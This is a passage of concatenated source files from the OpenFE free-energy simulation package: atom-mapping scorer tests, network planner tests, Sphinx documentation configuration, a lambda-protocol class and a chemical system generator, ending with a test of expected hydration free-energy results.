lomap_scorers.mcsr_score(toluene_to_cyclohexane) # all atoms map, so perfect score assert score == 0 def test_mcsr_nonzero(toluene_to_methylnaphthalene): score = lomap_scorers.mcsr_score(toluene_to_methylnaphthalene) assert score == pytest.approx(1 - math.exp(-0.1 * 4)) def test_mcsr_custom_beta(toluene_to_methylnaphthalene): score = lomap_scorers.mcsr_score(toluene_to_methylnaphthalene, beta=0.2) assert score == pytest.approx(1 - math.exp(-0.2 * 4)) def test_mcnar_score_pass(toluene_to_cyclohexane): score = lomap_scorers.mncar_score(toluene_to_cyclohexane) assert score == 0 def test_mcnar_score_fail(toluene_to_heptane): score = lomap_scorers.mncar_score(toluene_to_heptane) assert score == 1.0 def test_atomic_number_score_pass(toluene_to_cyclohexane): score = lomap_scorers.atomic_number_score(toluene_to_cyclohexane) assert score == 0.0 def test_atomic_number_score_fail(methylnaphthalene_to_naphthol): score = lomap_scorers.atomic_number_score( methylnaphthalene_to_naphthol) # single mismatch @ 0.5 assert score == pytest.approx(1 - math.exp(-0.1 * 0.5)) def test_atomic_number_score_weights(methylnaphthalene_to_naphthol): difficulty = { 8: {6: 0.75}, # oxygen to carbon @ 12 } score = lomap_scorers.atomic_number_score( methylnaphthalene_to_naphthol, difficulty=difficulty) # single mismatch @ (1 - 0.75) assert score == pytest.approx(1 - math.exp(-0.1 * 0.25)) class TestSulfonamideRule: @staticmethod @pytest.fixture def ethylbenzene(): m = Chem.AddHs(mol_from_smiles('c1ccccc1CCC')) return openfe.SmallMoleculeComponent.from_rdkit(m) @staticmethod @pytest.fixture def sulfonamide(): # technically 3-phenylbutane-1-sulfonamide m = Chem.AddHs(mol_from_smiles('c1ccccc1C(C)CCS(=O)(=O)N')) return openfe.SmallMoleculeComponent.from_rdkit(m) @staticmethod @pytest.fixture def from_sulf_mapping(): # this is the standard output from lomap_scorers return {0: 0, 1: 1, 2: 2, 3: 3, 4: 4, 5: 5, 6: 6, 7: 14, 8: 7, 9: 8, 10: 18, 14: 9, 15: 10, 16: 11, 17: 12, 18: 13, 19: 15, 23: 16, 24: 17, 25: 19, 26: 20} @staticmethod def test_sulfonamide_hit_backwards(ethylbenzene, sulfonamide, from_sulf_mapping): # a sulfonamide completely disappears on the RHS, so should trigger # the sulfonamide score to try and forbid this mapping = LigandAtomMapping( componentA=sulfonamide, componentB=ethylbenzene, componentA_to_componentB=from_sulf_mapping, ) expected = 1 - math.exp(-1 * 0.4) assert lomap_scorers.sulfonamides_score(mapping) == expected @staticmethod def test_sulfonamide_hit_forwards(ethylbenzene, sulfonamide, from_sulf_mapping): AtoB = {v: k for k, v in from_sulf_mapping.items()} # this is the standard output from lomap_scorers mapping = LigandAtomMapping(componentA=ethylbenzene, componentB=sulfonamide, componentA_to_componentB=AtoB) expected = 1 - math.exp(-1 * 0.4) assert lomap_scorers.sulfonamides_score(mapping) == expected @pytest.mark.parametrize('base,other,name,hit', [ ('CCc1ccccc1', 'CCc1ccc(-c2ccco2)cc1', 'phenylfuran', False), ('CCc1ccccc1', 'CCc1ccc(-c2cnc[nH]2)cc1', 'phenylimidazole', True), ('CCc1ccccc1', 'CCc1ccc(-c2ccno2)cc1', 'phenylisoxazole', True), ('CCc1ccccc1', 'CCc1ccc(-c2cnco2)cc1', 'phenyloxazole', True), ('CCc1ccccc1', 'CCc1ccc(-c2cccnc2)cc1', 'phenylpyridine1', True), ('CCc1ccccc1', 'CCc1ccc(-c2ccccn2)cc1', 'phenylpyridine2', True), ('CCc1ccccc1', 'CCc1ccc(-c2cncnc2)cc1', 'phenylpyrimidine', True), ('CCc1ccccc1', 'CCc1ccc(-c2ccc[nH]2)cc1', 'phenylpyrrole', False), ('CCc1ccccc1', 'CCc1ccc(-c2ccccc2)cc1', 'phenylphenyl', False), ]) def test_heterocycle_score(base, other, name, hit): # base -> other transform, if *hit* a forbidden heterocycle is created r1 = Chem.AddHs(mol_from_smiles(base)) r2 = Chem.AddHs(mol_from_smiles(other)) # add 2d coords to stop Lomap crashing for now for r in [r1, r2]: Compute2DCoords(r) m1 = openfe.SmallMoleculeComponent.from_rdkit(r1) m2 = openfe.SmallMoleculeComponent.from_rdkit(r2) mapper = openfe.setup.atom_mapping.LomapAtomMapper(threed=False) mapping = next(mapper.suggest_mappings(m1, m2)) score = lomap_scorers.heterocycles_score(mapping) assert score == 0 if not hit else score == 1 - math.exp(-0.4) # test individual scoring functions against lomap SCORE_NAMES = { 'mcsr': 'mcsr_score', 'mncar': 'mncar_score', 'atomic_number_rule': 'atomic_number_score', 'hybridization_rule': 'hybridization_score', 'sulfonamides_rule': 'sulfonamides_score', 'heterocycles_rule': 'heterocycles_score', 'transmuting_methyl_into_ring_rule': 'transmuting_methyl_into_ring_score', 'transmuting_ring_sizes_rule': 'transmuting_ring_sizes_score' } IX = itertools.combinations(range(8), 2) @pytest.mark.parametrize('params', itertools.product(SCORE_NAMES, IX)) def test_lomap_individual_scores(params, atom_mapping_basic_test_files): scorename, (i, j) = params mols = sorted(atom_mapping_basic_test_files.items()) _, molA = mols[i] _, molB = mols[j] # reference value lomap_version = getattr(lomap.MCS(molA.to_rdkit(), molB.to_rdkit()), scorename)() # longer way mapper = openfe.setup.atom_mapping.LomapAtomMapper(threed=False) mapping = next(mapper.suggest_mappings(molA, molB)) openfe_version = getattr(lomap_scorers, SCORE_NAMES[scorename])(mapping) assert lomap_version == pytest.approx(1 - openfe_version), \ f"{molA.name} {molB.name} {scorename}" # full back to back test again lomap def test_lomap_regression(lomap_basic_test_files_dir, # in a dir for lomap atom_mapping_basic_test_files): # run lomap dbmols = lomap.DBMolecules(lomap_basic_test_files_dir) matrix, _ = dbmols.build_matrices() matrix = matrix.to_numpy_2D_array() assert matrix.shape == (8, 8) # now run the openfe equivalent # first, get the order identical to lomap smallmols = [] for i in range(matrix.shape[0]): nm = dbmols[i].getName() smallmols.append(atom_mapping_basic_test_files[nm[:-5]]) # - ".mol2" mapper = openfe.setup.atom_mapping.LomapAtomMapper(threed=False) scorer = lomap_scorers.default_lomap_score scores = np.zeros_like(matrix) for i, j in itertools.combinations(range(matrix.shape[0]), 2): molA = smallmols[i] molB = smallmols[j] mapping = next(mapper.suggest_mappings(molA, molB)) score = scorer(mapping) scores[i, j] = scores[j, i] = score scores = 1 - scores # fudge diagonal for comparison for i in range(matrix.shape[0]): scores[i, i] = 0 assert_allclose(matrix, scores) <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe import abc from typing import Iterable from gufe import AlchemicalNetwork class AbstractAlchemicalNetworkPlanner(abc.ABC): """ this abstract class defines the interface for the alchemical Network Planners. """ @abc.abstractmethod def __call__(self, *args, **kwargs) -> AlchemicalNetwork: raise NotImplementedError() <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe import pytest from ...conftest import atom_mapping_basic_test_files, T4_protein_component from gufe import SolventComponent, AlchemicalNetwork from openfe.setup.alchemical_network_planner import RHFEAlchemicalNetworkPlanner, RBFEAlchemicalNetworkPlanner from .edge_types import r_complex_edge, r_solvent_edge, r_vacuum_edge def test_rhfe_alchemical_network_planner_init(): alchem_planner = RHFEAlchemicalNetworkPlanner() assert alchem_planner.name == "easy_rhfe" def test_rbfe_alchemical_network_planner_init(): alchem_planner = RBFEAlchemicalNetworkPlanner() assert alchem_planner.name == "easy_rbfe" def test_rbfe_alchemical_network_planner_call(atom_mapping_basic_test_files, T4_protein_component): alchem_planner = RBFEAlchemicalNetworkPlanner() alchem_network = alchem_planner( ligands=atom_mapping_basic_test_files.values(), solvent=SolventComponent(), protein=T4_protein_component, ) assert isinstance(alchem_network, AlchemicalNetwork) edges = alchem_network.edges assert len(edges) == 14 # we build 2envs*8ligands-2startLigands = 14 relative edges. print(edges) assert sum([r_complex_edge(e) for e in edges]) == 7 # half of the transformations should be complex (they always are)! assert sum([r_solvent_edge(e) for e in edges]) == 7 # half of the transformations should be solvent! assert sum([r_vacuum_edge(e) for e in edges]) == 0 # no vacuum here! def test_rhfe_alchemical_network_planner_call_multigraph(atom_mapping_basic_test_files): alchem_planner = RHFEAlchemicalNetworkPlanner() ligand_network = alchem_planner._construct_ligand_network(atom_mapping_basic_test_files.values()) ligand_network_edges = list(ligand_network.edges) ligand_network_edges.extend(list(ligand_network.edges)) chemical_system_generator = alchem_planner._chemical_system_generator_type( solvent=SolventComponent() ) with pytest.raises(ValueError, match="There were multiple transformations with the same edge label! This might lead to overwritting your files."): alchem_network = alchem_planner._build_transformations( ligand_network_edges=ligand_network_edges, protocol=alchem_planner.transformation_protocol, chemical_system_generator=chemical_system_generator) def test_rhfe_alchemical_network_planner_call(atom_mapping_basic_test_files): alchem_planner = RHFEAlchemicalNetworkPlanner() alchem_network = alchem_planner(ligands=atom_mapping_basic_test_files.values(), solvent=SolventComponent()) assert isinstance(alchem_network, AlchemicalNetwork) edges = alchem_network.edges assert len(edges) == 14 # we build 2envs*8ligands-2startLigands = 14 relative edges. assert sum([r_complex_edge(e) for e in edges]) == 0 # no complex! assert sum([r_solvent_edge(e) for e in edges]) == 7 # half of the transformations should be solvent! assert sum([r_vacuum_edge(e) for e in edges]) == 7 # half of the transformations should be vacuum! <file_sep>from gufe import ChemicalSystem from openfe.setup.chemicalsystem_generator import RFEComponentLabels # Boolean Test logic lambdas: def ligandC_in_chem_sys(chemical_system: ChemicalSystem) -> bool: return RFEComponentLabels.LIGAND in chemical_system.components def solventC_in_chem_sys(chemical_system: ChemicalSystem) -> bool: return RFEComponentLabels.SOLVENT in chemical_system.components def proteinC_in_chem_sys(chemical_system: ChemicalSystem) -> bool: return RFEComponentLabels.PROTEIN in chemical_system.components <file_sep>import os import pytest from plugcli.params import NOT_PARSED from openfecli.parameters.utils import import_parameter @pytest.mark.parametrize('import_str,expected', [ ('os.path.exists', os.path.exists), ('os.getcwd', os.getcwd), ('os.foo', NOT_PARSED), ('foo.bar', NOT_PARSED), ('foo', NOT_PARSED), ]) def test_import_parameter(import_str, expected): assert import_parameter(import_str) is expected <file_sep> Alchemical Data Objects ----------------------- Chemical Systems ~~~~~~~~~~~~~~~~ We describe a chemical system as being made up of one or more "components," e.g., solvent, protein, or small molecule. The :class:`.ChemicalSystem` object joins components together into a simulation system. .. module:: openfe :noindex: .. autosummary:: :nosignatures: :toctree: generated/ SmallMoleculeComponent ProteinComponent SolventComponent ChemicalSystem Atom Mappings ~~~~~~~~~~~~~ Tools for mapping atoms in one molecule to those in another. Used to generate efficient ligand networks. .. module:: openfe :noindex: .. autosummary:: :nosignatures: :toctree: generated/ LigandAtomMapper LigandAtomMapping Alchemical Simulations ~~~~~~~~~~~~~~~~~~~~~~ Descriptions of anticipated alchemical simulation campaigns. .. module:: openfe :noindex: .. autosummary:: :nosignatures: :toctree: generated/ Transformation AlchemicalNetwork <file_sep># Configuration file for the Sphinx documentation builder. # # This file only contains a selection of the most common options. For a full # list see the documentation: # https://www.sphinx-doc.org/en/master/usage/configuration.html # -- Path setup -------------------------------------------------------------- # If extensions (or modules to document with autodoc) are in another directory, # add these directories to sys.path here. If the directory is relative to the # documentation root, use os.path.abspath to make it absolute, like shown here. # import os import sys from importlib.metadata import version from packaging.version import parse sys.path.insert(0, os.path.abspath('../')) os.environ["SPHINX"] = "True" # -- Project information ----------------------------------------------------- project = "OpenFE" copyright = "2022, The OpenFE Development Team" author = "The OpenFE Development Team" version = parse(version("openfe")).base_version # -- General configuration --------------------------------------------------- # Add any Sphinx extension module names here, as strings. They can be # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom # ones. extensions = [ "sphinx.ext.autodoc", "sphinx.ext.napoleon", "sphinx_click.ext", "sphinxcontrib.autodoc_pydantic", "sphinx_toolbox.collapse", "sphinx.ext.autosectionlabel", "sphinx_design", "sphinx.ext.intersphinx", "sphinx.ext.autosummary", "docs._ext.sass", ] intersphinx_mapping = { "python": ("https://docs.python.org/3.9", None), "numpy": ("https://numpy.org/doc/stable", None), "scipy": ("https://docs.scipy.org/doc/scipy/reference", None), "scikit.learn": ("https://scikit-learn.org/stable", None), "openmm": ("http://docs.openmm.org/latest/api-python/", None), "rdkit": ("https://www.rdkit.org/docs", None), "openeye": ("https://docs.eyesopen.com/toolkits/python/", None), "mdtraj": ("https://www.mdtraj.org/1.9.5/", None), "openff.units": ("https://docs.openforcefield.org/units/en/stable", None), "gufe": ("https://gufe.readthedocs.io/en/latest/", None), } autoclass_content = "both" # Make sure labels are unique # https://www.sphinx-doc.org/en/master/usage/extensions/autosectionlabel.html#confval-autosectionlabel_prefix_document autosectionlabel_prefix_document = True autodoc_pydantic_model_show_json = False autodoc_default_options = { "members": True, "member-order": "bysource", } toc_object_entries_show_parents = "hide" # Add any paths that contain templates here, relative to this directory. templates_path = ["_templates"] # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. # This pattern also affects html_static_path and html_extra_path. exclude_patterns = ["_build", "Thumbs.db", ".DS_Store", "_ext", "_sass"] autodoc_mock_imports = [ "matplotlib", "lomap", "openmmtools", "mdtraj", "openmmforcefields", ] # -- Options for HTML output ------------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. # html_theme = "pydata_sphinx_theme" html_theme_options = { "logo": {"text": "OpenFE Documentation"}, "icon_links": [ { "name": "Github", "url": "https://github.com/OpenFreeEnergy/openfe", "icon": "fa-brands fa-square-github", "type": "fontawesome", } ], } html_logo = "_static/Squaredcircle.svg" # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". # html_static_path = ['_static'] # replace macros rst_prolog = """ .. |rdkit.mol| replace:: :class:`rdkit.Chem.rdchem.Mol` """ # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = ["_static"] html_css_files = [ "css/custom.css", "css/custom-api.css", ] # custom-api.css is compiled from custom-api.scss sass_src_dir = "_sass" sass_out_dir = "_static/css" <file_sep># Very slightly adapted from perses https://github.com/choderalab/perses # License: MIT # OpenFE note: eventually we aim to move this to openmmtools where possible import numpy as np import warnings import copy from openmmtools.alchemy import AlchemicalState class LambdaProtocol(object): """Protocols for perturbing each of the compent energy terms in alchemical free energy simulations. TODO ---- * Class needs cleaning up and made more consistent """ default_functions = {'lambda_sterics_core': lambda x: x, 'lambda_electrostatics_core': lambda x: x, 'lambda_sterics_insert': lambda x: 2.0 * x if x < 0.5 else 1.0, 'lambda_sterics_delete': lambda x: 0.0 if x < 0.5 else 2.0 * (x - 0.5), 'lambda_electrostatics_insert': lambda x: 0.0 if x < 0.5 else 2.0 * (x - 0.5), 'lambda_electrostatics_delete': lambda x: 2.0 * x if x < 0.5 else 1.0, 'lambda_bonds': lambda x: x, 'lambda_angles': lambda x: x, 'lambda_torsions': lambda x: x } # lambda components for each component, # all run from 0 -> 1 following master lambda def __init__(self, functions='default', windows=10, lambda_schedule=None): """Instantiates lambda protocol to be used in a free energy calculation. Can either be user defined, by passing in a dict, or using one of the pregenerated sets by passing in a string 'default', 'namd' or 'quarters' All protocols must begin and end at 0 and 1 respectively. Any energy term not defined in `functions` dict will be set to the function in `default_functions` Pre-coded options: default : ele and LJ terms of the old system are turned off between 0.0 -> 0.5 ele and LJ terms of the new system are turned on between 0.5 -> 1.0 core terms treated linearly quarters : 0.25 of the protocol is used in turn to individually change the (a) off old ele, (b) off old sterics, (c) on new sterics (d) on new ele core terms treated linearly namd : follows the protocol outlined here: https://pubs.acs.org/doi/full/10.1021/acs.jcim.9b00362# <NAME>, <NAME>, and <NAME>. "Computing Relative Binding Affinity of Ligands to Receptor: An Effective Hybrid Single-Dual-Topology Free-Energy Perturbation Approach in NAMD." Journal of chemical information and modeling 59.9 (2019): 3794-3802. ele-scaled : all terms are treated as in default, except for the old and new ele these are scaled with lambda^0.5, so as to be linear in energy, rather than lambda Parameters ---------- functions : str or dict One of the predefined lambda protocols ['default','namd','quarters'] or a dictionary. Default "default". windows : int Number of windows which this lambda schedule is intended to be used with. This value is used to validate the lambda function. lambda_schedule : list of floats Schedule of lambda windows to be sampled. If ``None`` will default to a linear spacing of windows as defined by ``np.linspace(0. ,1. ,windows)``. Default ``None``. Attributes ---------- functions : dict Lambda protocol to be used. lambda_schedule : list Schedule of windows to be sampled. """ self.functions = copy.deepcopy(functions) # set the lambda schedule self.lambda_schedule = self._validate_schedule(lambda_schedule, windows) if lambda_schedule: self.lambda_schedule = lambda_schedule else: self.lambda_schedule = np.linspace(0., 1., windows) if type(self.functions) == dict: self.type = 'user-defined' elif type(self.functions) == str: self.functions = None # will be set later self.type = functions if self.functions is None: if self.type == 'default': self.functions = copy.deepcopy( LambdaProtocol.default_functions) elif self.type == 'namd': self.functions = { 'lambda_sterics_core': lambda x: x, 'lambda_electrostatics_core': lambda x: x, 'lambda_sterics_insert': lambda x: (3. / 2.) * x if x < (2. / 3.) else 1.0, 'lambda_sterics_delete': lambda x: 0.0 if x < (1. / 3.) else (x - (1. / 3.)) * (3. / 2.), 'lambda_electrostatics_insert': lambda x: 0.0 if x < 0.5 else 2.0 * (x - 0.5), 'lambda_electrostatics_delete': lambda x: 2.0 * x if x < 0.5 else 1.0, 'lambda_bonds': lambda x: x, 'lambda_angles': lambda x: x, 'lambda_torsions': lambda x: x } elif self.type == 'quarters': self.functions = { 'lambda_sterics_core': lambda x: x, 'lambda_electrostatics_core': lambda x: x, 'lambda_sterics_insert': lambda x: 0. if x < 0.5 else 1 if x > 0.75 else 4 * (x - 0.5), 'lambda_sterics_delete': lambda x: 0. if x < 0.25 else 1 if x > 0.5 else 4 * (x - 0.25), 'lambda_electrostatics_insert': lambda x: 0. if x < 0.75 else 4 * (x - 0.75), 'lambda_electrostatics_delete': lambda x: 4.0 * x if x < 0.25 else 1.0, 'lambda_bonds': lambda x: x, 'lambda_angles': lambda x: x, 'lambda_torsions': lambda x: x } elif self.type == 'ele-scaled': self.functions = { 'lambda_electrostatics_insert': lambda x: 0.0 if x < 0.5 else ((2*(x-0.5))**0.5), 'lambda_electrostatics_delete': lambda x: (2*x)**2 if x < 0.5 else 1.0 } elif self.type == 'user-defined': self.functions = functions else: errmsg = f"LambdaProtocol type : {self.type} not recognised " raise ValueError(errmsg) self._validate_functions(n=windows) self._check_for_naked_charges() @staticmethod def _validate_schedule(schedule, windows): """ Checks that the input lambda schedule is valid. Rules are: - Must begin at 0 and end at 1 - Must be monotonically increasing Parameters ---------- schedule : list of floats The lambda schedule. If ``None`` the method returns ``np.linspace(0. ,1. ,windows)``. windows : int Number of windows to be sampled. Returns ------- schedule : list of floats A valid lambda schedule. """ if schedule is None: return np.linspace(0., 1., windows) # Check end states if schedule[0] != 0 or schedule[-1] != 1: errmsg = ("end and start lambda windows must be lambda 0 and 1 " "respectively") raise ValueError(errmsg) # Check monotonically increasing difference = np.diff(schedule) if not all(i >= 0. for i in difference): errmsg = "The lambda schedule is not monotonic" raise ValueError(errmsg) return schedule def _validate_functions(self, n=10): """Ensures that all the lambda functions adhere to the rules: - must begin at 0. - must finish at 1. - must be monotonically increasing Parameters ---------- n : int, default 10 number of grid points used to check monotonicity """ # the individual lambda functions that must be defined for required_functions = list(LambdaProtocol.default_functions.keys()) for function in required_functions: if function not in self.functions: # IA switched from warn to error here errmsg = (f"function {function} is missing from " "self.lambda_functions.") raise ValueError(errmsg) # Check that the function starts and ends at 0 and 1 respectively if self.functions[function](0) != 0: raise ValueError("lambda functions must start at 0") if self.functions[function](1) != 1: raise ValueError("lambda fucntions must end at 1") # now validatate that it's monotonic global_lambda = np.linspace(0., 1., n) sub_lambda = [self.functions[function](lam) for lam in global_lambda] difference = np.diff(sub_lambda) if not all(i >= 0. for i in difference): wmsg = (f"The function {function} is not monotonic as " "typically expected.") warnings.warn(wmsg) def _check_for_naked_charges(self): """ Checks that there are no cases where atoms have charge but no sterics. This avoids issues with singularities and/or excessive forces near the end states (even when using softcore electrostatics). """ global_lambda = self.lambda_schedule def check_overlap(ele, sterics, global_lambda, functions, endstate): for lam in global_lambda: ele_val = functions[ele](lam) ster_val = functions[sterics](lam) # if charge > 0 and sterics == 0 raise error if ele_val != endstate and ster_val == endstate: errmsg = ("There are states along this lambda schedule " "where there are atoms with charges but no LJ " f"interactions: {lam} {ele_val} {ster_val}") raise ValueError(errmsg) # checking unique new terms first ele = 'lambda_electrostatics_insert' sterics = 'lambda_sterics_insert' check_overlap(ele, sterics, global_lambda, self.functions, endstate=0) # checking unique old terms now ele = 'lambda_electrostatics_delete' sterics = 'lambda_sterics_delete' check_overlap(ele, sterics, global_lambda, self.functions, endstate=1) def get_functions(self): return self.functions def plot_functions(self, lambda_schedule=None): """ Plot the function for ease of visualisation. Parameters ---------- shedule : np.ndarray The lambda schedule to plot the function along. If ``None`` plot the one stored within this class. Default ``None``. """ import matplotlib.pyplot as plt fig = plt.figure(figsize=(10, 5)) global_lambda = lambda_schedule if lambda_schedule else self.lambda_schedule for f in self.functions: plt.plot(global_lambda, [self.functions[f](lam) for lam in global_lambda], alpha=0.5, label=f) plt.xlabel('global lambda') plt.ylabel('sub-lambda') plt.legend() plt.show() class RelativeAlchemicalState(AlchemicalState): """ Relative AlchemicalState to handle all lambda parameters required for relative perturbations lambda = 1 refers to ON, i.e. fully interacting while lambda = 0 refers to OFF, i.e. non-interacting with the system all lambda functions will follow from 0 -> 1 following the master lambda lambda*core parameters perturb linearly lambda_sterics_insert and lambda_electrostatics_delete perturb in the first half of the protocol 0 -> 0.5 lambda_sterics_delete and lambda_electrostatics_insert perturb in the second half of the protocol 0.5 -> 1 Attributes ---------- lambda_sterics_core lambda_electrostatics_core lambda_sterics_insert lambda_sterics_delete lambda_electrostatics_insert lambda_electrostatics_delete """ class _LambdaParameter(AlchemicalState._LambdaParameter): pass lambda_sterics_core = _LambdaParameter('lambda_sterics_core') lambda_electrostatics_core = _LambdaParameter('lambda_electrostatics_core') lambda_sterics_insert = _LambdaParameter('lambda_sterics_insert') lambda_sterics_delete = _LambdaParameter('lambda_sterics_delete') lambda_electrostatics_insert = _LambdaParameter( 'lambda_electrostatics_insert') lambda_electrostatics_delete = _LambdaParameter( 'lambda_electrostatics_delete') def set_alchemical_parameters(self, global_lambda, lambda_protocol=LambdaProtocol()): """Set each lambda value according to the lambda_functions protocol. The undefined parameters (i.e. those being set to None) remain undefined. Parameters ---------- lambda_value : float The new value for all defined parameters. """ self.global_lambda = global_lambda for parameter_name in lambda_protocol.functions: lambda_value = lambda_protocol.functions[parameter_name](global_lambda) setattr(self, parameter_name, lambda_value) <file_sep>Defining and Executing Simulations ================================== Executing Simulations --------------------- .. module:: openfe :noindex: .. autosummary:: :nosignatures: :toctree: generated/ execute_DAG General classes --------------- .. module:: openfe :noindex: .. autosummary:: :nosignatures: :toctree: generated/ ProtocolDAG ProtocolUnitResult ProtocolUnitFailure ProtocolDAGResult Specialised classes ------------------- These classes are abstract classes that are specialised (subclassed) for an individual Protocol. .. module:: openfe :noindex: .. autosummary:: :nosignatures: :toctree: generated/ Protocol ProtocolUnit ProtocolResult <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe from .abstract_chemicalsystem_generator import ( AbstractChemicalSystemGenerator, RFEComponentLabels, ) from typing import Iterable, Optional from gufe import ( Component, SmallMoleculeComponent, ProteinComponent, SolventComponent, ChemicalSystem, ) class EasyChemicalSystemGenerator(AbstractChemicalSystemGenerator): def __init__( self, solvent: SolventComponent = None, protein: ProteinComponent = None, cofactors: Optional[Iterable[SmallMoleculeComponent]] = None, do_vacuum: bool = False, ): """This class is a easy generator class, for generating chemical systems with a focus on a given SmallMoleculeComponent. depending on which parameters are given, the following systems will be generated in order:: vacuum -> solvent -> protein Parameters ---------- solvent : SolventComponent, optional if a SolventComponent is given, solvated chemical systems will be generated, by default None protein : ProteinComponent, optional if a ProteinComponent is given, complex chemical systems will be generated, by default None cofactors : Iterable[SmallMoleculeComponent], optional any cofactors in the system. will be put in any systems containing the protein do_vacuum : bool, optional if true a chemical system in vacuum is returned, by default False Raises ------ ValueError _description_ """ self.solvent = solvent self.protein = protein self.cofactors = cofactors or [] self.do_vacuum = do_vacuum if solvent is None and protein is None and not do_vacuum: raise ValueError( "Chemical system generator is unable to generate any chemical systems with neither protein nor solvent nor do_vacuum" ) def __call__( self, component: SmallMoleculeComponent ) -> Iterable[ChemicalSystem]: """generate systems, around the given SmallMoleculeComponent Parameters ---------- component : SmallMoleculeComponent the molecule for the system generation Returns ------- Iterable[ChemicalSystem] generator for systems with the given environments Yields ------ Iterator[Iterable[ChemicalSystem]] generator for systems with the given environments """ if self.do_vacuum: chem_sys = ChemicalSystem( components={RFEComponentLabels.LIGAND: component}, name=component.name + "_vacuum", ) yield chem_sys if self.solvent is not None: chem_sys = ChemicalSystem( components={ RFEComponentLabels.LIGAND: component, RFEComponentLabels.SOLVENT: self.solvent, }, name=component.name + "_solvent", ) yield chem_sys components: dict[str, Component] if self.protein is not None: components = { RFEComponentLabels.LIGAND: component, RFEComponentLabels.PROTEIN: self.protein, } for i, c in enumerate(self.cofactors): components.update({f'{RFEComponentLabels.COFACTOR}{i+1}': c}) if self.solvent is not None: components.update({RFEComponentLabels.SOLVENT: self.solvent}) chem_sys = ChemicalSystem( components=components, name=component.name + "_complex" ) yield chem_sys return <file_sep>from click.testing import CliRunner import glob from importlib import resources import tarfile import pytest from openfecli.commands.gather import gather @pytest.fixture def results_dir(tmpdir): with tmpdir.as_cwd(): with resources.path('openfecli.tests.data', 'results.tar.gz') as f: t = tarfile.open(f, mode='r') t.extractall('.') yield @pytest.fixture def ref_gather(): return b"""\ measurement\ttype\tligand_i\tligand_j\testimate (kcal/mol)\tuncertainty (kcal/mol) DDGhyd(lig_15, lig_12)\tRHFE\tlig_12\tlig_15\t-1.1\t0.055 DDGhyd(lig_16, lig_15)\tRHFE\tlig_15\tlig_16\t-5.7\t0.043 DDGhyd(lig_15, lig_11)\tRHFE\tlig_11\tlig_15\t5.4\t0.045 DDGhyd(lig_3, lig_14)\tRHFE\tlig_14\tlig_3\t1.3\t0.12 DDGhyd(lig_6, lig_1)\tRHFE\tlig_1\tlig_6\t-3.5\t0.038 DDGhyd(lig_8, lig_6)\tRHFE\tlig_6\tlig_8\t4.1\t0.074 DDGhyd(lig_3, lig_2)\tRHFE\tlig_2\tlig_3\t0.23\t0.044 DDGhyd(lig_5, lig_10)\tRHFE\tlig_10\tlig_5\t-8.8\t0.099 DDGhyd(lig_15, lig_10)\tRHFE\tlig_10\tlig_15\t1.4\t0.047 DDGhyd(lig_6, lig_14)\tRHFE\tlig_14\tlig_6\t-2.1\t0.034 DDGhyd(lig_15, lig_14)\tRHFE\tlig_14\tlig_15\t3.3\t0.056 DDGhyd(lig_9, lig_6)\tRHFE\tlig_6\tlig_9\t-0.079\t0.021 DDGhyd(lig_7, lig_3)\tRHFE\tlig_3\tlig_7\t73.0\t2.0 DDGhyd(lig_7, lig_4)\tRHFE\tlig_4\tlig_7\t2.7\t0.16 DDGhyd(lig_14, lig_13)\tRHFE\tlig_13\tlig_14\t0.49\t0.038 DGsolvent(lig_12, lig_15)\tsolvent\tlig_12\tlig_15\t-5.1\t0.055 DGvacuum(lig_12, lig_15)\tvacuum\tlig_12\tlig_15\t-4.0\t0.0014 DGsolvent(lig_15, lig_16)\tsolvent\tlig_15\tlig_16\t-17.0\t0.043 DGvacuum(lig_15, lig_16)\tvacuum\tlig_15\tlig_16\t-11.0\t0.0064 DGsolvent(lig_11, lig_15)\tsolvent\tlig_11\tlig_15\t4.1\t0.041 DGvacuum(lig_11, lig_15)\tvacuum\tlig_11\tlig_15\t-1.3\t0.019 DGvacuum(lig_14, lig_3)\tvacuum\tlig_14\tlig_3\t-29.0\t0.051 DGsolvent(lig_14, lig_3)\tsolvent\tlig_14\tlig_3\t-28.0\t0.11 DGvacuum(lig_1, lig_6)\tvacuum\tlig_1\tlig_6\t20.0\t0.022 DGsolvent(lig_1, lig_6)\tsolvent\tlig_1\tlig_6\t17.0\t0.032 DGsolvent(lig_6, lig_8)\tsolvent\tlig_6\tlig_8\t-6.1\t0.069 DGvacuum(lig_6, lig_8)\tvacuum\tlig_6\tlig_8\t-10.0\t0.027 DGsolvent(lig_2, lig_3)\tsolvent\tlig_2\tlig_3\t15.0\t0.03 DGvacuum(lig_2, lig_3)\tvacuum\tlig_2\tlig_3\t15.0\t0.032 DGvacuum(lig_10, lig_5)\tvacuum\tlig_10\tlig_5\t19.0\t0.046 DGsolvent(lig_10, lig_5)\tsolvent\tlig_10\tlig_5\t11.0\t0.087 DGvacuum(lig_10, lig_15)\tvacuum\tlig_10\tlig_15\t2.3\t0.01 DGsolvent(lig_10, lig_15)\tsolvent\tlig_10\tlig_15\t3.7\t0.046 DGvacuum(lig_14, lig_6)\tvacuum\tlig_14\tlig_6\t16.0\t0.011 DGsolvent(lig_14, lig_6)\tsolvent\tlig_14\tlig_6\t14.0\t0.032 DGsolvent(lig_14, lig_15)\tsolvent\tlig_14\tlig_15\t10.0\t0.056 DGvacuum(lig_14, lig_15)\tvacuum\tlig_14\tlig_15\t6.9\t0.0028 DGvacuum(lig_6, lig_9)\tvacuum\tlig_6\tlig_9\t-5.0\t0.00056 DGsolvent(lig_6, lig_9)\tsolvent\tlig_6\tlig_9\t-5.1\t0.021 DGvacuum(lig_3, lig_7)\tvacuum\tlig_3\tlig_7\t-28.0\t0.91 DGsolvent(lig_3, lig_7)\tsolvent\tlig_3\tlig_7\t45.0\t1.8 DGsolvent(lig_4, lig_7)\tsolvent\tlig_4\tlig_7\t-3.3\t0.15 DGvacuum(lig_4, lig_7)\tvacuum\tlig_4\tlig_7\t-6.1\t0.048 